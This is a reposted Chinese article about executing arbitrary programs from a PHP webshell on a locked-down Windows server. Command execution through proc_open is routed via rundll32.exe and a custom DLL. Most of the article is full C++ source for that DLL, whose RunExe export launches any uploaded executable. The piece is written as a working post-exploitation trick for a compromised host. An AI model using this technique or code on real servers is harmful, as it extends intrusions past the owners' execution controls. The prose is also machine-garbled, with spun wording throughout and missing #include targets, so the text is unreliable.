webshell中执路程序[网络技术]
本文“webshell中执路程序[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
在webshell中履行程序
测试开始的时刻,PHP仿佛没权履行号令.本来打算用php本身的一些溢出问题,溢出一个低权限的shell来的.后来不测发现利用proc_open函数可以履行一些内部号令,只是外部号令和目录都做了对比严峻的权限设置罢了.于是就测试大概可以操纵的外部号令,终究测试到了rundll32.exe程序,终于没有返回权限不足.写一个dll,给rundll32调用,便可以间接的履行自己上传的肆意exe文件了.大概是windows权限的一点小问题?毕竟利用rundll32间接履行的exe,身份还是php shell的guest权限,固然调用者变了——真正缘由有待进一步研究.
/*************************************************************************************************
* 碰到一个服务器权限设置很畸形,系统exe基本都无法履行,自己上传的exe到可写目录,也不能履行.
* 遗憾的是,他们漏掉了rundll32.exe这个文件的权限,如是……
* code by wustyunshu###hotmail.com, 2008,11,13,23:20
*************************************************************************************************/
#include
#include
#include
// dll进口
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
return true;
}
void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow)
{
if( szCmdLine == NULL )
{
return;
}
DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0);
wchar_t *wszCmdLine = new wchar_t[dwNum];
if(!wszCmdLine)
{
return;
}
MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);
int argc;
LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &argc );
wchar_t Cmd[256] = { 0 };
wchar_t Args[1024] = { 0 };
//strncpy( Cmd, argv[0], sizeof(Cmd)-1 );
wcsncpy( Cmd, argv[0], sizeof(Cmd)-1 );
if( argc > 1 )
{
for( int index = 1; index < argc; index ++ )
{
wcscat( wcscat( Args, L" " ), argv[index] );
}
}
STARTUPINFO si;
memset( (void *)&si, 0, sizeof(STARTUPINFOA) );
GetStartupInfoW( &si );
//新进程输入输出重定向
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW;
//si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION processInfo;
memset( (void *)&processInfo, 0, sizeof(PROCESS_INFORMATION) );
//成立进程
CreateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo );
Sleep( 60 * 1000 );
TerminateProcess( processInfo.hProcess, 0 );
}
以上是“webshell中执路程序[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |